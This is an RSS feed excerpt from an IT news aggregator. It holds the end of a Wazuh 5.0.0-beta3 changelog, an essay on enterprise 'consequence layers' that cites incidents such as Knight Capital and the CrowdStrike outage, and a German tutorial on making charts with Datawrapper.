<li>Improve changelog format by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/jotacarma90/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/jotacarma90">@jotacarma90</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4784576201" data-permission-text="Title is private" data-url="https://github.com/wazuh/wazuh/issues/37332" data-hovercard-type="pull_request" data-hovercard-url="/wazuh/wazuh/pull/37332/hovercard" href="https://github.com/wazuh/wazuh/pull/37332">#37332</a></li>
<li>Lower log level of transient cluster IPC failures (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4768765565" data-permission-text="Title is private" data-url="https://github.com/wazuh/wazuh/issues/37277" data-hovercard-type="issue" data-hovercard-url="/wazuh/wazuh/issues/37277/hovercard" href="https://github.com/wazuh/wazuh/issues/37277">#37277</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4768737167" data-permission-text="Title is private" data-url="https://github.com/wazuh/wazuh/issues/37276" data-hovercard-type="issue" data-hovercard-url="/wazuh/wazuh/issues/37276/hovercard" href="https://github.com/wazuh/wazuh/issues/37276">#37276</a>) by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/jotacarma90/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/jotacarma90">@jotacarma90</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4783970019" data-permission-text="Title is private" data-url="https://github.com/wazuh/wazuh/issues/37326" data-hovercard-type="pull_request" data-hovercard-url="/wazuh/wazuh/pull/37326/hovercard" href="https://github.com/wazuh/wazuh/pull/37326">#37326</a></li>
<li>Fix TypeError when sorting agents by version with empty version strings by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/TomasTurina/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/TomasTurina">@TomasTurina</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4779868587" data-permission-text="Title is private" data-url="https://github.com/wazuh/wazuh/issues/37323" data-hovercard-type="pull_request" data-hovercard-url="/wazuh/wazuh/pull/37323/hovercard" href="https://github.com/wazuh/wazuh/pull/37323">#37323</a></li>
<li>Migrate agent + server CI artifacts to S3 — 5.0.0 (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="643824078" data-permission-text="Title is private" data-url="https://github.com/wazuh/wazuh/issues/5300" data-hovercard-type="issue" data-hovercard-url="/wazuh/wazuh/issues/5300/hovercard" href="https://github.com/wazuh/wazuh/issues/5300">#5300</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="643806955" data-permission-text="Title is private" data-url="https://github.com/wazuh/wazuh/issues/5298" data-hovercard-type="issue" data-hovercard-url="/wazuh/wazuh/issues/5298/hovercard" href="https://github.com/wazuh/wazuh/issues/5298">#5298</a>) by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/jr0me/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/jr0me">@jr0me</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4744978467" data-permission-text="Title is private" data-url="https://github.com/wazuh/wazuh/issues/37185" data-hovercard-type="pull_request" data-hovercard-url="/wazuh/wazuh/pull/37185/hovercard" href="https://github.com/wazuh/wazuh/pull/37185">#37185</a></li>
<li>Validate asset resource names before policy promotion by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/jam300/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/jam300">@jam300</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4741678194" data-permission-text="Title is private" data-url="https://github.com/wazuh/wazuh/issues/37172" data-hovercard-type="pull_request" data-hovercard-url="/wazuh/wazuh/pull/37172/hovercard" href="https://github.com/wazuh/wazuh/pull/37172">#37172</a></li>
<li>Revert wazuh-server indexer credentials and propagate log context in indexer connector by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/jotacarma90/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/jotacarma90">@jotacarma90</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4784669937" data-permission-text="Title is private" data-url="https://github.com/wazuh/wazuh/issues/37333" data-hovercard-type="pull_request" data-hovercard-url="/wazuh/wazuh/pull/37333/hovercard" href="https://github.com/wazuh/wazuh/pull/37333">#37333</a></li>
<li>Add VD readiness status HTTP endpoint by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/jotacarma90/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/jotacarma90">@jotacarma90</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4753007421" data-permission-text="Title is private" data-url="https://github.com/wazuh/wazuh/issues/37213" data-hovercard-type="pull_request" data-hovercard-url="/wazuh/wazuh/pull/37213/hovercard" href="https://github.com/wazuh/wazuh/pull/37213">#37213</a></li>
<li>Use github.workspace for wodles report paths by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Nicogp/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Nicogp">@Nicogp</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4787326775" data-permission-text="Title is private" data-url="https://github.com/wazuh/wazuh/issues/37342" data-hovercard-type="pull_request" data-hovercard-url="/wazuh/wazuh/pull/37342/hovercard" href="https://github.com/wazuh/wazuh/pull/37342">#37342</a></li>
<li>Skip FIM whodata cases on the tier-2 Linux job (CodeBuild) by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Nicogp/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Nicogp">@Nicogp</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4771331061" data-permission-text="Title is private" data-url="https://github.com/wazuh/wazuh/issues/37291" data-hovercard-type="pull_request" data-hovercard-url="/wazuh/wazuh/pull/37291/hovercard" href="https://github.com/wazuh/wazuh/pull/37291">#37291</a></li>
<li>Migrate 4.x Windows test runners to AWS CodeBuild  by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Nicogp/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Nicogp">@Nicogp</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4746542396" data-permission-text="Title is private" data-url="https://github.com/wazuh/wazuh/issues/37193" data-hovercard-type="pull_request" data-hovercard-url="/wazuh/wazuh/pull/37193/hovercard" href="https://github.com/wazuh/wazuh/pull/37193">#37193</a></li>
<li>Lower log level of transient queue send failures in modulesd by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/lchico/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/lchico">@lchico</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4788115193" data-permission-text="Title is private" data-url="https://github.com/wazuh/wazuh/issues/37345" data-hovercard-type="pull_request" data-hovercard-url="/wazuh/wazuh/pull/37345/hovercard" href="https://github.com/wazuh/wazuh/pull/37345">#37345</a></li>
<li>Add changelog check workflow by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/TomasTurina/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/TomasTurina">@TomasTurina</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4787529876" data-permission-text="Title is private" data-url="https://github.com/wazuh/wazuh/issues/37343" data-hovercard-type="pull_request" data-hovercard-url="/wazuh/wazuh/pull/37343/hovercard" href="https://github.com/wazuh/wazuh/pull/37343">#37343</a></li>
<li>Add changelog check workflow for 5.0.0 by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/TomasTurina/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/TomasTurina">@TomasTurina</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4788939423" data-permission-text="Title is private" data-url="https://github.com/wazuh/wazuh/issues/37351" data-hovercard-type="pull_request" data-hovercard-url="/wazuh/wazuh/pull/37351/hovercard" href="https://github.com/wazuh/wazuh/pull/37351">#37351</a></li>
<li>Retry <code>OS_SendUnix</code> on <code>ENOBUFS</code> to stop dropping binary sync messages on macOS by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/nbertoldo/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/nbertoldo">@nbertoldo</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4788850753" data-permission-text="Title is private" data-url="https://github.com/wazuh/wazuh/issues/37349" data-hovercard-type="pull_request" data-hovercard-url="/wazuh/wazuh/pull/37349/hovercard" href="https://github.com/wazuh/wazuh/pull/37349">#37349</a></li>
<li>change: Allow null root_decoder as alias of empty string on policy cr… by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/juliancnn/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/juliancnn">@juliancnn</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4788261828" data-permission-text="Title is private" data-url="https://github.com/wazuh/wazuh/issues/37347" data-hovercard-type="pull_request" data-hovercard-url="/wazuh/wazuh/pull/37347/hovercard" href="https://github.com/wazuh/wazuh/pull/37347">#37347</a></li>
<li>Fix eBPF FIM whodata for Amazon Linux by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Miguevrgo/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Miguevrgo">@Miguevrgo</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4692775155" data-permission-text="Title is private" data-url="https://github.com/wazuh/wazuh/issues/37014" data-hovercard-type="pull_request" data-hovercard-url="/wazuh/wazuh/pull/37014/hovercard" href="https://github.com/wazuh/wazuh/pull/37014">#37014</a></li>
<li>Merge 4.14.6 into 4.14.7 by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/jotacarma90/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/jotacarma90">@jotacarma90</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4792934428" data-permission-text="Title is private" data-url="https://github.com/wazuh/wazuh/issues/37358" data-hovercard-type="pull_request" data-hovercard-url="/wazuh/wazuh/pull/37358/hovercard" href="https://github.com/wazuh/wazuh/pull/37358">#37358</a></li>
<li>Bump 5.0.0 branch by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/wazuhci/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/wazuhci">@wazuhci</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4794415837" data-permission-text="Title is private" data-url="https://github.com/wazuh/wazuh/issues/37371" data-hovercard-type="pull_request" data-hovercard-url="/wazuh/wazuh/pull/37371/hovercard" href="https://github.com/wazuh/wazuh/pull/37371">#37371</a></li>
<li>Merge 4.14.7 into 5.0.0 by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/jotacarma90/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/jotacarma90">@jotacarma90</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4793306985" data-permission-text="Title is private" data-url="https://github.com/wazuh/wazuh/issues/37360" data-hovercard-type="pull_request" data-hovercard-url="/wazuh/wazuh/pull/37360/hovercard" href="https://github.com/wazuh/wazuh/pull/37360">#37360</a></li>
<li>Migrate remaining CI artifacts to S3 for the 5.0.0 branch (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="454578666" data-permission-text="Title is private" data-url="https://github.com/wazuh/wazuh/issues/3502" data-hovercard-type="pull_request" data-hovercard-url="/wazuh/wazuh/pull/3502/hovercard" href="https://github.com/wazuh/wazuh/pull/3502">#3502</a>) by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/jr0me/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/jr0me">@jr0me</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4788864035" data-permission-text="Title is private" data-url="https://github.com/wazuh/wazuh/issues/37350" data-hovercard-type="pull_request" data-hovercard-url="/wazuh/wazuh/pull/37350/hovercard" href="https://github.com/wazuh/wazuh/pull/37350">#37350</a></li>
</ul>
<h2>New Contributors</h2>
<ul>
<li><a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/MARCOSD4/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/MARCOSD4">@MARCOSD4</a> made their first contribution in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4539151411" data-permission-text="Title is private" data-url="https://github.com/wazuh/wazuh/issues/36518" data-hovercard-type="pull_request" data-hovercard-url="/wazuh/wazuh/pull/36518/hovercard" href="https://github.com/wazuh/wazuh/pull/36518">#36518</a></li>
<li><a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Ripdiegozz/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Ripdiegozz">@Ripdiegozz</a> made their first contribution in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4505228985" data-permission-text="Title is private" data-url="https://github.com/wazuh/wazuh/issues/36357" data-hovercard-type="pull_request" data-hovercard-url="/wazuh/wazuh/pull/36357/hovercard" href="https://github.com/wazuh/wazuh/pull/36357">#36357</a></li>
<li><a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Adman23/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Adman23">@Adman23</a> made their first contribution in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4580559348" data-permission-text="Title is private" data-url="https://github.com/wazuh/wazuh/issues/36750" data-hovercard-type="pull_request" data-hovercard-url="/wazuh/wazuh/pull/36750/hovercard" href="https://github.com/wazuh/wazuh/pull/36750">#36750</a></li>
<li><a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/jcorredor-spec/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/jcorredor-spec">@jcorredor-spec</a> made their first contribution in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4521476970" data-permission-text="Title is private" data-url="https://github.com/wazuh/wazuh/issues/36402" data-hovercard-type="pull_request" data-hovercard-url="/wazuh/wazuh/pull/36402/hovercard" href="https://github.com/wazuh/wazuh/pull/36402">#36402</a></li>
</ul>
<p><strong>Full Changelog</strong>: <a class="commit-link" href="https://github.com/wazuh/wazuh/compare/v5.0.0-beta2...v5.0.0-beta3"><tt>v5.0.0-beta2...v5.0.0-beta3</tt></a></p>]]></content:encoded>
</item>
<item>
<title><![CDATA[Addressing consequence blindness]]></title>
<description><![CDATA[Enterprises do not suffer from a lack of oversight. They have dashboards, risk forums, architecture boards, vendor reviews, cyber controls, transformation offices, capital committees, regulatory programs, audit findings, service reports and enough status updates to make even the most patient exec...]]></description>
<link>https://tsecurity.de/de/3640868/it-security-nachrichten/addressing-consequence-blindness/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3640868/it-security-nachrichten/addressing-consequence-blindness/</guid>
<pubDate>Thu, 02 Jul 2026 13:05:44 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
		<div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p>Enterprises do not suffer from a lack of oversight. They have dashboards, risk forums, architecture boards, vendor reviews, cyber controls, transformation offices, capital committees, regulatory programs, audit findings, service reports and enough status updates to make even the most patient executive reach for stronger coffee.</p>



<p>The issue is not that senior leaders fail to recognize activity, but that they often miss understanding where the consequences will lead next.</p>



<p>A technology issue does not stay within technology. A control weakness does not stay within compliance. A vendor failure does not stay within procurement. A data-quality gap does not stay within a data office. A cyber incident does not stay within security. An AI initiative does not stay within innovation.</p>



<p>It extends to customer trust, regulatory exposure, operating capacity, capital allocation, scarce talent, legal risk, vendor obligations, brand credibility and strategic freedom.</p>



<p>That is why every enterprise now needs a consequence layer: a connected way for senior executives to see what else moves when something changes. Not another dashboard, system of record or management ritual.</p>



<h2 class="wp-block-heading">Local failures no longer stay local</h2>



<p>Enterprise failures are often described by where they start rather than by where they end. Knight Capital remains one of the clearest examples because the entire episode unfolded in less than an hour. According to the <a href="https://www.sec.gov/files/litigation/admin/2013/34-70694.pdf" rel="nofollow">SEC’s order on Knight Capital</a>, a software deployment issue generated more than 4 million executions across 154 stocks in about 45 minutes, leaving the firm with roughly $3.5 billion in net long positions, $3.15 billion in net short positions and a $460 million loss. A technical failure became a capital, regulatory and strategic event.</p>



<p>That is not just a trading story. It is a warning about enterprise coupling. A code path, a deployment gap, market access, execution speed and weak controls were linked. The enterprise did not see the connection until the market did.</p>



<p>TSB Bank offers a modernization version of the same lesson. In 2018, TSB migrated customer and corporate services to a new platform. The data itself migrated successfully, but the platform immediately experienced technical failures that disrupted branch, telephone, online and mobile banking. The <a href="https://www.fca.org.uk/news/press-releases/tsb-fined-48m-operational-resilience-failings" rel="nofollow">FCA later announced</a> that TSB had been fined £48.65 million for operational resilience failings tied to the upgrade program.</p>



<p>TD Bank shows the control version. In 2024, <a href="https://www.fincen.gov/news/news-releases/fincen-assesses-record-13-billion-penalty-against-td-bank" rel="nofollow">FinCEN assessed a record $1.3 billion penalty</a> against TD Bank and imposed a four-year independent monitorship tied to anti-money-laundering failures. The <a href="https://www.occ.gov/news-issuances/news-releases/2024/nr-occ-2024-116.html" rel="nofollow">OCC separately imposed</a> a $450 million civil money penalty and a growth restriction. A control issue became an enterprise constraint.</p>



<p>The original issue is rarely the whole issue. It is just where the consequence first became visible.</p>



<h2 class="wp-block-heading">The formal view is not the whole enterprise</h2>



<p>Most large organizations are still managed through functional silos. Technology has its systems. Finance has its systems. Risk has its systems. Compliance has its systems. Operations has its systems. Business units have their workflows, spreadsheets, local tools and local truths. That is not inherently a flaw. At enterprise scale, different teams need different systems because they do different work.</p>



<p>The danger is pretending those boundaries reflect how consequences behave. They do not.</p>



<p>A strategic initiative may appear healthy in the formal portfolio view. The milestone is green. The budget is approved. The steering committee is comfortable. Meanwhile, the same data teams, security reviewers, infrastructure groups, vendors, release windows, compliance resources and business experts may be committed elsewhere.</p>



<p>The project is green in one system. The capacity is gone in another. The dependency is buried in a third.</p>



<p>This is where the consequence layer matters. It does not replace the systems teams already use. It sits above them, connecting the enterprise logic across them. It does not need to own every workflow or transaction. It needs to understand how work, capacity, funding, timing, dependencies, vendors, risks, controls and value interact.</p>



<p>A consequence layer limited to the strategic portfolio is incomplete by design. The constraint that undermines the strategy may lie in operations, cyber, vendor management, data quality, regulatory remediation, customer service, finance or shared technical capacity. If those signals are outside the model, leadership may get a clean view of the portfolio and still miss the enterprise reality.</p>



<h2 class="wp-block-heading">Dashboards show position. They rarely show blast radius</h2>



<p>Dashboards matter. Reporting matters. Governance matters. But visibility is not the same as control over consequences.</p>



<p>A dashboard may show that a major platform program is delayed, a vendor SLA has slipped, a cyber risk has increased or a customer metric has deteriorated. What it often fails to show is the blast radius.</p>



<p>Which commitments are now less realistic? Which teams are about to be overdrawn? Which customer journeys are affected? Which regulatory dates are at risk? Which cost assumptions no longer hold? Which downstream initiatives now depend on heroic recovery?</p>



<p>Silicon Valley Bank is a stark reminder that assumptions can collapse with extraordinary force. The <a href="https://www.fdic.gov/news/speeches/2023/spmar2723.html" rel="nofollow">FDIC reported</a> that by the end of March 9, 2023, $42 billion in deposits had left the bank. A balance-sheet assumption, depositor concentration, social amplification, liquidity exposure and digital banking behavior converged into a real-time institutional crisis. The point is not that every enterprise faces an SVB-style event. The point is that assumptions are no longer safely confined to one domain.</p>



<h2 class="wp-block-heading">Resilience work is already pointing to the consequence layer</h2>



<p>Regulators are pushing financial institutions toward this realization, although they use different vocabulary. The <a href="https://www.bankofengland.co.uk/-/media/boe/files/prudential-regulation/supervisory-statement/2021/ss121-march-22.pdf" rel="nofollow">Bank of England’s operational resilience guidance</a> expects firms to identify important business services and test whether they can remain within impact tolerances under severe but plausible scenarios. <a href="https://www.esma.europa.eu/press-news/esma-news/european-supervisory-authorities-designate-critical-ict-third-party-providers" rel="nofollow">DORA applies a similar logic</a> across the EU financial sector, including oversight of critical third-party ICT providers whose failures could affect operational resilience.</p>



<p>This is not just compliance work. It is a map of enterprise consequences.</p>



<p>Important business services, third-party dependencies, recovery tolerances, cyber scenarios, critical operations and service continuity are not side documents for risk teams. They are the organization’s wiring diagram.</p>



<p>If that wiring diagram sits apart from technology roadmaps, investment commitments, capacity constraints, AI demand, vendor strategy and customer obligations, the enterprise has only partial control.</p>



<p>This also connects to the project and transformation profession. <a href="https://www.pmi.org/learning/agile/manifesto-for-enterprise-agility" rel="nofollow">PMI’s Manifesto for Enterprise Agility</a> frames enterprise agility around adapting at scale without losing coherence, and <a href="https://www.pmi.org/learning/thought-leadership/boosting-business-acumen" rel="nofollow">PMI’s 2025 Pulse of the Profession</a> emphasizes the shift from tactical troubleshooting to strategic value creation. A consequence layer helps the enterprise adapt without losing the thread between commitment, capacity, risk and value.</p>



<p>The CIO may see the systems. The CRO may see the control exposure. The CFO may see the funding and capital implications. The COO may see the operating strain. The business may see customer and revenue impact. The consequence does not care which executive owns the first signal. It travels anyway.</p>



<h2 class="wp-block-heading">AI adds new consequence paths</h2>



<p>AI does not reduce consequence complexity. It increases it.</p>



<p>Every AI use case creates new enterprise edges: data readiness, model risk, explainability, privacy, security, cloud cost, workflow redesign, legal exposure, human adoption, vendor reliance and value measurement. The risk is not only hallucination or misuse. It is untested assumptions presented with executive polish.</p>



<p>A leadership team can approve an AI ambition in one room and discover months later that the real constraint lives in model-risk capacity, data lineage, customer consent, cloud architecture or operational absorption. That is not an AI problem alone. It is the absence of a consequence layer wearing an AI badge.</p>



<p>AI value depends on technology, yes, but also on risk, legal, finance, operations, HR, customer experience and the business model itself.</p>



<h2 class="wp-block-heading">Manual consequence tracking will not scale</h2>



<p>This cannot be solved through another standing meeting. The people involved are not the problem. They know their domains, the risks, the workarounds and where the bodies are buried, sometimes in a spreadsheet named something like “final_final_v9.” The issue is scale.</p>



<p>Every serious enterprise move now touches systems, people, controls, vendors, data, security, funding, customers, regulators and operating tolerance. The number of interactions grows faster than any manual review process can keep up with.</p>



<p>If a regulatory program accelerates, which modernization work gets displaced? If AI demand expands, which data, legal, cyber, architecture, privacy and model-risk teams are now consumed? If a core migration slips, which cost-takeout, customer migration, vendor and operating assumptions move with it? If funding tightens, which initiatives still make sense and which business cases are quietly eroding?</p>



<p>Those questions require a consequence layer. Not to make the call. To make the call more honest. The math should not replace judgment. But judgment without connected consequence math becomes too dependent on meetings, memory, optimism and politics.</p>



<h2 class="wp-block-heading">The lesson extends well beyond banking</h2>



<p>CrowdStrike made the ecosystem lesson visible across industries. Microsoft estimated that the July 2024 update affected 8.5 million Windows devices, less than one percent of all Windows machines. Microsoft also wrote that the incident demonstrated “the interconnected nature” of the technology ecosystem. Small percentage. Large consequence. The details are in Microsoft’s <a href="https://blogs.microsoft.com/blog/2024/07/20/helping-our-customers-through-the-crowdstrike-outage/" rel="nofollow">CrowdStrike outage update</a>.</p>



<p>Change Healthcare showed a similar pattern in healthcare. The <a href="https://www.aha.org/change-healthcare-cyberattack-underscores-urgent-need-strengthen-cyber-preparedness-individual-health-care-organizations-and" rel="nofollow">American Hospital Association described</a> the February 2024 cyberattack as disrupting health care operations on an unprecedented national scale, endangering patient access, disrupting clinical and eligibility operations and threatening provider solvency. A separate <a href="https://www.financialresearch.gov/briefs/files/OFRBrief-24-05-change-healthcare-cyberattack.pdf" rel="nofollow">Office of Financial Research brief</a> described the disruption as triggering a “medical sector liquidity event.”</p>



<p>Manufacturing sees the same pattern when a supplier delay hits sequencing, inventory, commitments, margin and revenue. Retail sees it when demand or data-quality issues move from merchandising into warehouses, stores, pricing and customer trust. Utilities see it when grid delays affect reliability targets, field crews, regulators and outage response.</p>



<p>Different industries. Same structure. The original issue is local. The consequence is not.</p>



<h2 class="wp-block-heading">From visibility to consequence</h2>



<p>The dashboard era trained executives to ask, “What is the status?” The consequence layer asks a harder question: “What else moves because this moved?”</p>



<p>That question now sits at the center of modernization, operational resilience, AI governance, third-party risk, cyber preparedness, regulatory credibility, customer trust and enterprise value.</p>



<p>The next leadership advantage depends not on generating more activity metrics, but on proactively detecting consequence movements early—before they escalate into losses, outages, fines, stranded investments, customer harm or the loss of strategic freedom.</p>



<p>Every serious enterprise has systems of record. What many still lack is a system of consequence.</p>



<p>Not another dashboard or workflow tool. A consequence layer gives senior leaders a way to test what happens when priorities, capacity, timing, funding, risk, vendors and dependencies pull in opposite directions.</p>



<p>That is the missing space between strategy and execution. In a complex enterprise, the original issue is rarely the whole issue. It is just where the consequence first became visible.</p>



<p><strong>This article is published as part of the Foundry Expert Contributor Network.</strong><br><strong><a href="https://www.cio.com/expert-contributor-network/">Want to join?</a></strong></p>
</div></div></div></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[So erstellen Sie Diagramme, Infografiken und Karten schnell und ohne Vorkenntnisse]]></title>
<description><![CDATA[Die Aufbereitung von Daten in Form von Diagrammen will Datawrapper erleichtern. Dazu lassen sich Daten aus der Windows-Zwischenablage und aus Tabellen im Excel- oder Google-Sheet-Format verwenden. So geht’s: Die Funktionen probieren Sie mit einem Klick auf „Start creating“ auf der Webseite aus. 
...]]></description>
<link>https://tsecurity.de/de/3640296/windows-tipps/so-erstellen-sie-diagramme-infografiken-und-karten-schnell-und-ohne-vorkenntnisse/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3640296/windows-tipps/so-erstellen-sie-diagramme-infografiken-und-karten-schnell-und-ohne-vorkenntnisse/</guid>
<pubDate>Thu, 02 Jul 2026 08:11:41 +0200</pubDate>
<category>🪟 Windows Tipps</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p>Die Aufbereitung von Daten in Form von Diagrammen will <a href="http://www.datawrapper.de/" target="_blank" rel="noreferrer noopener">Datawrapper</a> erleichtern. Dazu lassen sich Daten aus der Windows-Zwischenablage und aus Tabellen im Excel- oder Google-Sheet-Format verwenden. So geht’s: Die Funktionen probieren Sie mit einem Klick auf „Start creating“ auf der Webseite aus. </p>



<p>Im Anschluss daran wählen Sie den Datenimport aus, dazu klicken Sie links oben auf eine Option oder fügen die Daten im Bereich „Daten hier einfügen“ ein. Mithilfe von „Weiter“ gelangen Sie dann zur Prüfung der geladenen Infos, rechts erscheint daraufhin die Tabelle. Mit dem Pull-down-Menü rechts darüber ändern Sie die Sortierreihenfolge. </p>



<p>Unterhalb der Ansicht stehen Ihnen Optionen zum Tauschen von Spalten und Zeilen zur Verfügung, außerdem können Sie Spalten hinzufügen oder die Tabelle zurücksetzen. Als Nächstes suchen Sie einen Diagrammtyp aus, dazu sehen Sie rechts eine Vorschau. Darunter finden Sie die Optionen für die Größe der Grafik sowie die Farbe. </p>


<div class="extendedBlock-wrapper block-coreImage undefined"><figure data-wp-context='{"imageId":"6a4601019a6cc"}' data-wp-interactive="core/image" class="wp-block-image size-large wp-lightbox-container"><img decoding="async" data-wp-class--hide="state.isContentHidden" data-wp-class--show="state.isContentVisible" data-wp-init="callbacks.setButtonStyles" data-wp-on-async--click="actions.showLightbox" data-wp-on-async--load="callbacks.setButtonStyles" data-wp-on-async-window--resize="callbacks.setButtonStyles" src="https://b2c-contenthub.com/wp-content/uploads/2026/05/Datawapper_RGBeci.jpg?quality=50&amp;strip=all&amp;w=1115" alt="Datawrapper " class="wp-image-3141161" width="1115" height="1201" loading="lazy"><button class="lightbox-trigger" type="button" aria-haspopup="dialog" aria-label="Enlarge" data-wp-init="callbacks.initTriggerButton" data-wp-on-async--click="actions.showLightbox" data-wp-style--right="state.imageButtonRight" data-wp-style--top="state.imageButtonTop">
				<svg xmlns="http://www.w3.org/2000/svg" width="12" height="12" fill="none" viewbox="0 0 12 12">
					<path fill="#fff" d="M2 0a2 2 0 0 0-2 2v2h1.5V2a.5.5 0 0 1 .5-.5h2V0H2Zm2 10.5H2a.5.5 0 0 1-.5-.5V8H0v2a2 2 0 0 0 2 2h2v-1.5ZM8 12v-1.5h2a.5.5 0 0 0 .5-.5V8H12v2a2 2 0 0 1-2 2H8Zm2-12a2 2 0 0 1 2 2v2h-1.5V2a.5.5 0 0 0-.5-.5H8V0h2Z"></path>
				</svg>
			</button><figcaption class="wp-element-caption"><p>Der Service Datawrapper hilft bei der Erstellung von Infografiken und Diagrammen. Hinzu kommen Funktionen zum Erzeugen von Landkarten mit verschiedenen Infos.</p>
</figcaption></figure><p class="imageCredit">Foundry</p></div>



<p>Passen Sie in den folgenden Schritten das Diagramm an und bestätigen Sie dabei jeweils mit „Weiter“. Zum Download der Grafik oder zum Einbinden in eine Webseite benötigen Sie ein Datawrapper-Konto. Dazu tragen Sie bitte im Feld „Deine E-Mail:“ eine gültige Adresse ein und bestätigen mit „Benutzerkonto erstellen“ den neuen Account. </p>



